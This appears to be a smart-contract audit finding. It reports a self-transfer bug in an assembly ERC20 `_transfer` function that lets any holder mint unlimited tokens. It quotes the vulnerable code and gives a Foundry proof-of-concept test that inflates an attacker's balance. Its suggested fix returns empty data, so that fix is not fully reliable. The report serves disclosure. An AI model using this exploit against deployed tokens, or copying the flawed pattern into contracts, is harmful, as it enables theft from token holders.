Root + Impact
A critical vulnerability in the _transfer function allows any user to mint unlimited tokens by simply transferring to themselves, completely breaking the token economics and enabling theft of value.
Description
-
The ERC20 standard allows transfers where from == to (self-transfers). The normal behavior should be that the user's balance remains unchanged after a self-transfer.
-
The _transfer function loads both fromAmount and toAmount before performing any storage writes. When from == to, both variables point to the same storage slot and both load the same original balance. The function then writes fromAmount - value followed by toAmount + value. Since both slots are identical and toAmount still holds the original balance (not the decremented value), the final balance becomes originalBalance + value.
@> src/helpers/ERC20Internals.sol
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
@> let fromAmount := sload(fromSlot)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
@> let toAmount := sload(toSlot)
if lt(fromAmount, value) {
}
@> sstore(fromSlot, sub(fromAmount, value))
@> sstore(toSlot, add(toAmount, value))
success := 1
}
}
Risk
Likelihood:
Any user can call transfer(msg.sender, value) at any time
No special permissions or conditions required
Attacker can repeat infinitely to mint any amount of tokens
Impact:
Complete destruction of token economics and value
Attacker can mint unlimited tokens and dump on markets
All holders suffer total loss of value
Protocol becomes unusable
Proof of Concept
Here is the proof of concept, in which we are calling transfer method and the to and from are the same address and balance is increased.
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract SelfTransferExploit is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_selfTransferMint() public {
address attacker = makeAddr("attacker");
token.mint(attacker, 100e18);
assertEq(token.balanceOf(attacker), 100e18);
vm.prank(attacker);
token.transfer(attacker, 50e18);
assertEq(token.balanceOf(attacker), 150e18);
vm.prank(attacker);
token.transfer(attacker, 75e18);
assertEq(token.balanceOf(attacker), 225e18);
}
}
Recommended Mitigation
Handle the self-transfer case by returning early without modifying balances, or check if addresses are the same and skip the balance updates.
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
if iszero(from) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
if iszero(to) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
+ // Handle self-transfer case - just emit event and return
+ if eq(from, to) {
+ // Still need to check balance
+ let ptr := mload(0x40)
+ let baseSlot := _balances.slot
+ mstore(ptr, from)
+ mstore(add(ptr, 0x20), baseSlot)
+ let fromSlot := keccak256(ptr, 0x40)
+ let fromAmount := sload(fromSlot)
+ if lt(fromAmount, value) {
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), from)
+ mstore(add(0x00, 0x24), fromAmount)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+ success := 1
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ return(0, 0)
+ }
let ptr := mload(0x40)
let baseSlot := _balances.slot
// ... rest of function
}
}